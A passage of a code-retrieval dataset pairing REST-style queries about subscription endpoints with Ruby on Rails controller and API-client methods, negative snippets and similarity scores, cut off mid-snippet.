subscribers.each do |subscriber|\n subscript = subscriber.subscription\n org = subscript.org\n subs << AccountSubscription.new(org.id.to_s, org.name, subscript.product, subscript.billing_level, subscriber.role)\n end\n subs\n end", "def show\n @subscription_type = SubscriptionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription_type }\n end\n end", "def show\n @list_subscription = ListSubscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_subscription }\n end\n end", "def index\n\n if @notification\n json_response(@notification.user_subscriptions)\n end\n if request.path_parameters.has_key?(:user_id)\n json_response(@user.user_subscriptions)\n end\n end", "def list(filter)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter)\n\t\t\tclient.queue_service_action_call('subscription', 'list', 'KalturaSubscriptionListResponse', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend" ]
[ "0.7869455", "0.77837133", "0.7622544", "0.73053646", "0.71226656", "0.70991266", "0.70027924", "0.70021904", "0.70021904", "0.6990712", "0.6937564", "0.6847288", "0.6847288", "0.6840999", "0.6803458", "0.68026453", "0.67664814", "0.674352", "0.6728131", "0.6720264", "0.6687572", "0.66843766", "0.66843766", "0.66843766", "0.66734546", "0.6666439", "0.66652113", "0.66648877", "0.6619931", "0.66024876", "0.65998167", "0.65965515", "0.65820605", "0.65707916", "0.6570498", "0.6570498", "0.6570498", "0.6561274", "0.6553382", "0.6538819", "0.6509172", "0.650666", "0.64820087", "0.647526", "0.647526", "0.6468211", "0.64513767", "0.6445933", "0.64437795", "0.6437197", "0.6434216", "0.642423", "0.64014053", "0.6401311", "0.64007795", "0.6395286", "0.63836235", "0.63836235", "0.63836235", "0.63775784", "0.6354626", "0.6350751", "0.6333711", "0.6325393", "0.6324879", "0.63036174", "0.6296722", "0.6275663", "0.6273553", "0.6271442", "0.62589526", "0.6258523", "0.6258523", "0.6258523", "0.6258523", "0.62522084", "0.62451017", "0.62417305", "0.6241706", "0.62399405", "0.62399095", "0.62304574", "0.62114215", "0.6207593", "0.62046576", "0.61897445", "0.6189629", "0.61733264", "0.6155444", "0.6137176", "0.61230206", "0.6108065", "0.6089983", "0.60789007", "0.6073862", "0.60664976", "0.6062363", "0.6058293", "0.60567373", "0.60448873", "0.6044661" ]
0.0
-1
GET /subscriptions/1 GET /subscriptions/1.xml
def show @subscription = Subscription.find(params[:id], :conditions => "user_id = #{session['user_id']}") respond_to do |format| format.html { redirect_to(subscriptions_path) } format.xml { render :xml => @subscription } format.rss { render :layout => false } # uses show.rss.builder end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_my_subscriptions() path = \"/api/v2/utilities/subscriptions\"\n get(path, {}, AvaTax::VERSION) end", "def all_subscriptions\n get(url_(\"subscription\"))\n end", "def subscriptions\n url = url_with_api_version(@base_url, 'subscriptions')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end", "def list_subscriptions(user)\n get(\"/#{user}/lists/subscriptions.json\")\n end", "def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end", "def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end", "def index\n\t\tindex_\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @subscriptions }\n\t\tend\n\tend", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end", "def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end", "def get_subscriptions\n get_subscriptions_from(@nodename)\n end", "def show\n\t\tshow_\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @subscription }\n\t\tend\n\tend", "def get_subscription(subscription_id)\n get(url_(\"subscription\", subscription_id))\n end", "def index\n @subscriptions = @screen.subscriptions.where(field_id: @field.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @subscriptions }\n end\n end", "def show\n @service_subscription = ServiceSubscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @subscription }\n end\n end", "def user_vendor_subscriptions\n get(\"/api/v1/oauth_user_vendor_subscriptions.json\")\n end", "def show\n @subscription_history = SubscriptionHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription_history }\n end\n end", "def get_subscription subscription_name, options = {}\n subscriber.get_subscription subscription: subscription_path(subscription_name, options)\n end", "def subscriptions( params={} )\n subscriptions = get_connections(\"subscriptions\", params)\n return map_connections subscriptions, :to => Facebook::Graph::Subscription\n end", "def subscriptions(page = 1)\n Dropio::Resource.client.subscriptions(self, page)\n end", "def index\n @api_subscriptions = Api::Subscription.all\n end", "def index\n @subscriptions = current_user.subscriptions.order(:created_at)\n @user = current_user\n\n if not current_user.fitbit.nil?\n begin\n @fitbit_subscriptions = JSON.parse(current_user.fitbit.client.get('/1/user/-/apiSubscriptions.json').body)['apiSubscriptions']\n rescue SocketError\n logger.error \"Can not talk to fitbit\"\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end", "def subscriber_list(statuspage_id)\n request :method => :get,\n :url => @url + 'subscriber/list/' + statuspage_id\n end", "def index\n @subscriptions = @screen.subscriptions.all\n auth!\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end", "def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def list_subscriptions(options = {})\n api.graph_call(subscription_path, {}, \"get\", options)\n end", "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :organization_key => HttpClient::Preconditions.assert_class_or_nil('organization_key', opts.delete(:organization_key), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :publication => HttpClient::Preconditions.assert_class_or_nil('publication', opts[:publication].nil? ? nil : (opts[:publication].is_a?(Apidoc::Models::Publication) ? opts.delete(:publication) : Apidoc::Models::Publication.apply(opts.delete(:publication))), Apidoc::Models::Publication),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/subscriptions\").with_query(query).get.map { |hash| Apidoc::Models::Subscription.new(hash) }\n end", "def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def index\n if params[:client_id].blank?\n @subscriptions = Subscription.all\n else\n @subscriptions = Client.find(params[:client_id]).subscriptions\n end\n end", "def get_all_subscriptions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SubscriptionsApi.get_all_subscriptions ...\"\n end\n # resource path\n local_var_path = \"/subscriptions\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'uid'] = opts[:'uid'] if !opts[:'uid'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['artikcloud_oauth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SubscriptionsEnvelope')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubscriptionsApi#get_all_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end", "def index\n @my_subscriptions = current_user.active_subscriptions\n end", "def show\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end\n end", "def subscriptions; end", "def subscriptions; end", "def subscriptions; end", "def show\r\n @subscription = Subscription.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @subscription }\r\n end\r\n end", "def service_subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscriptions')\n )\n )\n send_iq_stanza_fibered iq\n end", "def get(subscription_key)\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::GET_SUBSCRIPTION.gsub(\"{subscription-key}\", ERB::Util.url_encode(subscription_key))\n\n puts \"========== GET A SUBSCRIPTION ============\"\n\n begin\n @z_client.get(args) do |resp|\n ap resp\n return resp if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end", "def index\n @crytosubscriptions = Crytosubscription.all\n end", "def index\n @subscriptions = current_user.subscriptions.all\n end", "def subscription\n ret = nil\n if type == 'S'\n ret = @mc2p.subscription('id' => @json_body['id'])\n ret.retrieve\n end\n ret\n end", "def new\n @subscription = Subscription.new\n @subscription.confirmed = true\n get_list_and_segments\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def subscription(repo, options = {})\n get \"#{Repository.path repo}/subscription\", options\n end", "def list_subscription\n response = Faraday.get(@subscription_api_url)\n response_json = JSON.parse(response.body)\n fix_response(response_json)\n end", "def index\n @subscriptions = Subscription.all\n end", "def index\n @subscriptions = Subscription.all\n end", "def index\n @subscriptions = Subscription.all\n end", "def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription_type = SubscriptionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription_type }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def subscriptions(user_id)\n response = rest_client.get(signature_url(\"/subscription/?user_id=#{user_id}\"))\n process_response(response)\n end", "def index\r\n @subscriptions = current_business_user.subscriptions.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @subscriptions }\r\n end\r\n end", "def get_subscriptions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SubscriptionApi.get_subscriptions ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page'].nil? && opts[:'page'] > 10000000\n fail ArgumentError, 'invalid value for \"opts[:\"page\"]\" when calling SubscriptionApi.get_subscriptions, must be smaller than or equal to 10000000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page'].nil? && opts[:'page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page\"]\" when calling SubscriptionApi.get_subscriptions, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'size'].nil? && opts[:'size'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"size\"]\" when calling SubscriptionApi.get_subscriptions, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'size'].nil? && opts[:'size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"size\"]\" when calling SubscriptionApi.get_subscriptions, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = \"/v1/subscription\"\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SubscriptionSearch')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubscriptionApi#get_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show_single_webhook_subscription(id,opts={})\n query_param_keys = [\n \n\n ]\n\n form_param_keys = [\n \n\n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n\n )\n\n # resource path\n path = path_replace(\"/lti/subscriptions/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:get, path, query_params, form_params, headers)\n response\n \n\n end", "def user_subscriptions(user_id, options={})\n response = connection.get do |req|\n req.url \"/user/#{user_id}/subscriptions\", simple_params(options)\n end\n response.body\n end", "def list_subs\n \t@subs = instagram_client.subscriptions\n end", "def subscription\n Zapi::Models::Subscription.new\n end", "def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end", "def show_subscriptions\n puts \"\\nYour current subscriptions are:\"\n @user.subscriptions.reload.each do |sub|\n puts sub.name\n end\n end", "def subscribe\n \nend", "def index\n @subscribers = Subscriber.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscribers }\n end\n end", "def subscribed(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Recipients/Subscribed\", params: params)\n end", "def get_subscriptions(opts = {})\n data, _status_code, _headers = get_subscriptions_with_http_info(opts)\n return data\n end", "def refresh\n puts \" -- refresh subscriptions(#{@subscriptions.size}):\"\n\n run_callback_server # call it once to make sure it runs\n \n @subscriptions.each do |sub| \n puts \" - #{sub.name}\"\n params = { \"attributes[accept]\" => 'application/json' }\n\n query = \"/gnp;#{sub.name};#{sub.entry_uri}\"\n params[\"attributes[callback_url]\"] = \"#{callback_server.base_url}#{query}\"\n\n [:operations, :uri_regexp, :condition_script].each do |key|\n (v = sub.send key) and params[\"attributes[#{key}]\"] = v\n end\n\n url = \"#{@target_url}#{sub.uri}.xml\"\n http_put(url, params) # {|req| req.content_type = 'application/xml'}\n end\n end", "def subscription(id)\n Sensit::Api::Subscription.new id, @http_client\n end", "def subscriptions\n @subscriptions ||= {}\n end", "def index\n @subscription_types = SubscriptionType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscription_types }\n end\n end", "def list_subscriptions options = {}\n paged_enum = subscriber.list_subscriptions project: project_path(options),\n page_size: options[:max],\n page_token: options[:token]\n\n paged_enum.response\n end", "def index \n if session[:user_id] \n @subscriptions = Subscription.all(:conditions => [\"user_id = ?\", session[:user_id]])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n else\n redirect_to \"/login\"\n end\n end", "def fetch_subscription(_params) \n subscription_id = _params['subscription_id']\n if subscription_id.blank? == true \n return false\n end \n begin\n result = ChargeBee::Subscription.retrieve(subscription_id)\n session[:subscription_id] = result.subscription.id\n session[:customer_id] = result.customer.id\n return true\n rescue ChargeBee::APIError => e\n if e.api_error_code == \"resource_not_found\"\n return false\n end\n throw e\n end\n end", "def subscription_info(subscription_id = @subscription_id)\n url = url_with_api_version(@base_url, 'subscriptions', subscription_id)\n resp = rest_get(url)\n JSON.parse(resp.body)\n end", "def subscribe\n Socky.send( {:action => \"subscribe\",\n :channel => params[:channel],\n :client => (params[:client_id] || '')}.to_json)\n render :text => \"ok\"\n end", "def controller_path\n \"activity_notification/subscriptions\"\n end", "def index\n @q = ::Pushar::Core::Subscription.unscoped.search(params[:q])\n @q.sorts = 'created_at desc' if @q.sorts.empty?\n @subscriptions = @q.result(distinct: true).page(params[:page]).per(50)\n end", "def subscription_path\n @subscription_path ||= \"#{@app_id}/subscriptions\"\n end", "def index\n @title = \"Your subscriptions\"\n #@service_subscriptions = current_user.service_subscriptions\n #only return subscriptions for services which are enabled\n @service_subscriptions = current_user.service_subscriptions.find(:all, :joins => [:service], :conditions => ['`services`.enabled = ?', true])\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_subscriptions }\n end\n end", "def subscriptions()\n return MicrosoftGraph::Subscriptions::SubscriptionsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def subscribed()\n\t\t#add access token to header\n\t\theader = {\"Authorization\": \"Bearer #{@adal_response.access_token}\"}\n\t\t#poll to get available content\n\t\trequest_uri = \"https://manage.office.com/api/v1.0/#{@tenantid}/activity/feed/subscriptions/list\"\n response = Requests.request(\"GET\", request_uri, headers: header)\n @logger.info(\"[#{@content_type}] Subscription list: \\n#{response.json()}}\")\n\n\t\tresponse.json().each do |item|\n\t\t\tif item[\"contentType\"] == @content_type\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\tfalse\n\tend", "def index\n\n if @notification\n json_response(@notification.user_subscriptions)\n end\n if request.path_parameters.has_key?(:user_id)\n json_response(@user.user_subscriptions)\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def index\n if @view = params[:view].allow(ALLOWED_VIEW)\n unless @subscriptions = Subscription.try(@view)\n raise_404\n end\n else\n @subscriptions = Subscription.all\n end\n end", "def subscriptions\n @subscriptions ||= begin\n resp = @client.access_token.get('/reader/api/0/subscription/list?output=json')\n raise \"unable to retrieve the list of subscription for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['subscriptions'].collect do |hash|\n Google::Reader::Subscription.new(hash.merge({:client => @client}))\n end\n end\n end", "def index\n @subscriptions = Subscription.all\nend", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @subscription }\n end\n end", "def subscriptions\n @page_title = _('Subscriptions')\n @page_icon = 'layers.png'\n\n change_date\n\n @search_device = -1\n @search_user = ''\n @search_user_id = params[:s_user_id] if params[:s_user_id]\n @search_service = -1\n @search_date_from = -1\n @search_date_till = -1\n @search_memo = params[:s_memo] || ''\n @search_user = params[:s_user] if params[:s_user]\n @search_service = params[:s_service] if params[:s_service]\n @search_device = params[:device_id] if params[:device_id]\n @until_canceled = params['until_canceled'].to_i\n if params[:clear].to_s == 'true'\n session[:year_from] = Date.today.year\n session[:month_from] = Date.today.month\n session[:day_from] = Date.today.day\n session[:year_till] = Date.today.year\n session[:month_till] = Date.today.month\n session[:day_till] = Date.today.day\n end\n\n session[:hour_from] = '00'\n session[:minute_from] = '00'\n session[:hour_till] = '23'\n session[:minute_till] = '59'\n\n cond = ''\n\n if (@search_user_id.to_i != -2 && @search_user_id.present?) || (@search_user_id.to_i == -2 && @search_user.present?)\n cond = \" AND subscriptions.user_id = '#{@search_user_id}' \"\n if @search_device.to_i != -1\n cond += \" AND subscriptions.device_id = '#{@search_device}' \"\n end\n end\n\n if @search_service.to_i != -1\n cond += \" AND subscriptions.service_id = '#{@search_service}' \"\n end\n period_start = \"'#{session_from_datetime}'\"\n period_end = \"'#{session_till_datetime}'\"\n until_canceled = 'subscriptions.activation_end IS NULL OR ' if @until_canceled == 1\n cond << \" AND (subscriptions.activation_start >= #{period_start} AND (#{until_canceled}subscriptions.activation_end <= #{period_end})) \"\n\n cond += \" AND subscriptions.memo = '#{@search_memo}' \" if @search_memo.length > 0\n\n sql = \"SELECT services.name as serv_name , users.first_name, users.last_name, users.username, subscriptions.*, devices.device_type, devices.name, devices.extension, devices.istrunk, devices.ani, providers.device_id AS provider\n FROM subscriptions\n LEFT JOIN users ON(users.id = subscriptions.user_id)\n LEFT JOIN devices ON(devices.id = subscriptions.device_id)\n LEFT JOIN providers ON(providers.device_id = devices.id)\n LEFT JOIN services ON(services.id = subscriptions.service_id)\n WHERE subscriptions.id > '0' AND users.owner_id = #{correct_owner_id} #{cond}\"\n # MorLog.my_debug sql\n @search = 0\n @search = 1 if cond.length > 93\n @subs = Subscription.find_by_sql(sql)\n\n @page = 1\n @page = params[:page].to_i if params[:page]\n items_per_page = session[:items_per_page]\n @total_pages = (@subs.size.to_d / items_per_page.to_d).ceil\n @all_subs = @subs\n @subs = []\n items_per_page = session[:items_per_page]\n iend = ((items_per_page * @page) - 1)\n iend = @all_subs.size - 1 if iend > (@all_subs.size - 1)\n for index in ((@page - 1) * items_per_page)..iend\n @subs << @all_subs[index]\n end\n\n @min_end, @min_start, @max_end, @max_start = Subscription.get_activation_year\n end", "def index\n @subscriptions = @user.subscriptions.order(updated_at: :desc)\n end", "def show\n @list_subscription = ListSubscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_subscription }\n end\n end", "def outbound_subscriptions(sender_address)\n Response.new self.class.get(\"/smsmessaging/outbound/subscriptions?senderAddress=#{sender_address}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end", "def show\n json_response(@user_subscription)\n end", "def retrieve_subscription(subscription_id:,\n include: nil)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .query_param(new_parameter(include, key: 'include'))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def get_subscribers\n @subscriptions = subscribers(@nodename)\n end" ]
[ "0.7497943", "0.7364156", "0.7267464", "0.6911617", "0.6845736", "0.6845736", "0.68284655", "0.6813624", "0.6813624", "0.6813624", "0.68099", "0.6787222", "0.6787222", "0.6767736", "0.67374855", "0.6695964", "0.663072", "0.66019106", "0.65869284", "0.65484625", "0.6540597", "0.6537971", "0.6531647", "0.65289736", "0.65255255", "0.6507406", "0.6499973", "0.64884454", "0.6472857", "0.6472857", "0.64716387", "0.6449349", "0.6440758", "0.64241666", "0.64020944", "0.6396105", "0.6383342", "0.6382456", "0.6377677", "0.6377677", "0.6377677", "0.6358773", "0.63526136", "0.6329906", "0.63284004", "0.63275623", "0.6322796", "0.63077855", "0.62929386", "0.6289727", "0.6274266", "0.6274266", "0.6274266", "0.62742186", "0.6269913", "0.6267939", "0.6267939", "0.6267939", "0.6267939", "0.62254477", "0.61962813", "0.6183097", "0.6182606", "0.6167603", "0.61526704", "0.61414105", "0.6139308", "0.61304873", "0.61231637", "0.61138964", "0.61136824", "0.61124575", "0.6094753", "0.60947007", "0.6093984", "0.60904956", "0.608745", "0.6087154", "0.60627425", "0.6046954", "0.60357916", "0.60327446", "0.60311013", "0.6029633", "0.6027396", "0.60272175", "0.6015659", "0.60156524", "0.6010122", "0.60031426", "0.59995943", "0.59972537", "0.598384", "0.5979266", "0.59792536", "0.5977469", "0.5962804", "0.59497863", "0.59436923", "0.5938474" ]
0.6611024
17
POST /subscriptions POST /subscriptions.xml
def create @me = Me.find_by_subscribe_token(params[:subscription][:subscription_token]) if @me.validate_auth(User.find(session['user_id']).login, params[:auth]) @subscription = Subscription.new(params[:subscription]) @subscription.collapsed = false @subscription.me = @me @subscription.pos_x = 0; @subscription.pos_y = Subscription.find_last_y_pos(session['user_id']) + 1; respond_to do |format| if @subscription.save flash[:notice] = 'Subscription was successfully created.' format.html { redirect_to(subscriptions_path) } format.xml { render :xml => @subscription, :status => :created, :location => @subscription } else format.html { render :action => "new" } format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity } end end else flash[:notice] = 'You are not authorized to subscribe to this Me' respond_to do |format| format.html { redirect_to(subscriptions_path) } format.xml { render :xml => "invalid auth", :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post body=nil, headers={}\n @connection.post \"subscriptions.json\", body, headers\n end", "def create\n megam_rest.post_subscriptions(to_hash)\n end", "def create\n s_params = params[:subscription]\n s_params.delete(:id)\n @subscription = Subscription.new(s_params)\n @subscription.save\n respond_with(@subscription)\n end", "def create / update_subscriptions\n end", "def create\n @subscription = @target.create_subscription(subscription_params)\n return_back_or_ajax\n end", "def post(subscription_form)\n HttpClient::Preconditions.assert_class('subscription_form', subscription_form, Apidoc::Models::SubscriptionForm)\n @client.request(\"/subscriptions\").with_json(subscription_form.to_json).post { |hash| Apidoc::Models::Subscription.new(hash) }\n end", "def create\n @subscription = Subscription.create(params[:subscription])\n gb = Gibbon::API.new(\"6f8672a5c2393d1441c54d3be3fb79a1-us1\")\n gb.lists.subscribe({:id => \"c0ca5b3d41\", :email => {:email => params[:subscription][:email]}, :merge_vars => {:FNAME => '', :LNAME => ''}, :double_optin => false})\n end", "def create\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: (I18n.t :subscription_created) }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.new(subscription_params)\n\n if @subscription.save\n render json: @subscription, status: :created, location: @subscription\n else\n render json: @subscription.errors, status: :unprocessable_entity\n end\n end", "def build_create_subscription_request(xml, options)\n # Subscription\n add_subscription(xml, options)\n\n xml.target!\n end", "def create\n @subscription = Subscription.new(subscription_params)\n\n respond_to do |format|\n if @subscription.save\n record_activity :create, @subscription\n format.html { redirect_to edit_subscription_path(@subscription),\n notice: 'Subscription was successfully created.' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to root_url, notice: 'Subscription was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subscription }\n else\n format.html { render action: 'new' }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categories = Category.all\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n\t @subscription.update(ordinal: Subscription.count)\n SubscriptionMailer.with(subscription: @subscription, new: \"true\").notification_email.deliver_now\n format.html { render :subscription_judging, notice: '加盟店サブスクショップの審査申請しました' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_subscription\n @subscription_offers = Subscription.get_subscription_list\n end", "def create\n @subscription = Subscription.new(params[:subscription])\n\n respond_to do |format|\n\t\n if @subscription.valid? && @subscription.save\n\t SubscriptionMailer.delay.send_welcome(@subscription)\n\t \n format.html { redirect_to \"/subscriptions/done\", notice: 'Twoj adres zostal dodany do listy mailingowej' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subscription = Subscription.new(subscription_params)\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to thanks_path, notice: 'Subscription was successfully created.' }\n else\n format.html { redirect_to root_path }\n end\n end\n end", "def create_subscriptions\n Subscription.create_subscriptions(self.id, self.hashtag)\n end", "def create\n \n @subscription = Subscription.new(params[:subscription])\n @subscription.quantity = @subscription.subscription_type.number_of_issues\n 